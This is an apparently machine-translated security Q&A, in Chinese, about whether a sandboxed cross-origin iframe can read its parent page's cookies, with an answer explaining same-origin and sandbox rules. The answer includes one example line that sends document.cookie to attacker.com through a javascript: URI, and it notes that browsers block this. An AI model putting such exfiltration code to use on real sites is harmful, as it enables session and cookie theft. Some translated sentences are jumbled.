如何确认嵌入式 iframe 可以从父级读取 cookie?

信息安全 xss 饼干 框架
2021-08-10 04:57:56

我有这个 html 代码,我可能会将其放在我的网站上,出于安全目的我们正在对其进行评估。它的代码本质上是这样的:

<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

我的目标是在 glenpierce.github.io 上写一些东西,它将读取该 iframe 父级的 cookie 并将它们打印到控制台,以证明如果设置了这些标志,该 iframe 可以访问父级的 cookie。到目前为止,我还无法在 Chrome 65 中使用document.cookieor parent.document

我很清楚这是不安全的,还有其他不允许这些标志的原因,但我特别有兴趣证明我可以访问父母的 cookie(和/或本地存储)。

1个回答

首先要注意的是,iframe(默认情况下)不像它们是同源的一部分,除非它们是. 如果 iframe 原点(在src属性中)和父原点不同,则 iframe 将始终从父源沙盒化。这施加了一系列限制,例如无法访问window.parent对象的大多数属性。

您可以使用该属性使同源iframe 具有与跨域 iframe [1] 相同的限制。sandbox的值是沙盒属性sandbox的例外,而不是一般的 iframe 安全模型。因此,不会使跨域 iframe 表现得像与父页面同源一样;它只是让同源 iframe 做如果它没有被沙盒化的话它可以做的同源事情。如果父级和 iframe 是跨域的,则不会不会解决这个问题。allow-same-origin allow-same-originallow-top-navigation


对于实际上同源且未经过沙盒处理或具有沙盒属性值的 iframe allow-same-origin允许window.parent.document.cookie您设置或读取(非HttpOnly)cookie。

您可能期望跨域工作的一种方法是顶部导航。即使是跨域 iframe,如果没有沙箱(或者如果沙箱有allow-top-navigation),也可以设置(但不能获取)其父级的 URL。你可能会认为这会让你做这样的事情: parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie" 如果成功,它将在父页面的上下文中执行 javascript,并泄露该页面的(非 HttpOnly)cookie。

幸运的是,浏览器开发人员对这种技巧很聪明。iframe(允许顶部导航)可以将首页指向许多内容,但javascript:URI 不是其中之一。

当然,允许不受信任的 iframe 进行顶部导航仍然很危险。他们可能无法利用它来注入脚本或窃取 cookie(并非没有注入漏洞,例如 XSS),但他们可以做一些事情,例如将用户导航到显示相同内容但实际上是例如,钓鱼网站。

当然,这不会泄露 cookie,只是表明它们是可读的,但这是一种利用 allow-top-navigation


[1] 然后是一些;更极端的限制比默认的跨域限制更严格。这意味着沙盒跨域 iframe 不一定是多余的。例如,默认情况下,跨域 iframe 允许大多数形式的顶部导航和运行不尝试与window.parent对象交互的脚本,但您可以通过沙盒阻止这些。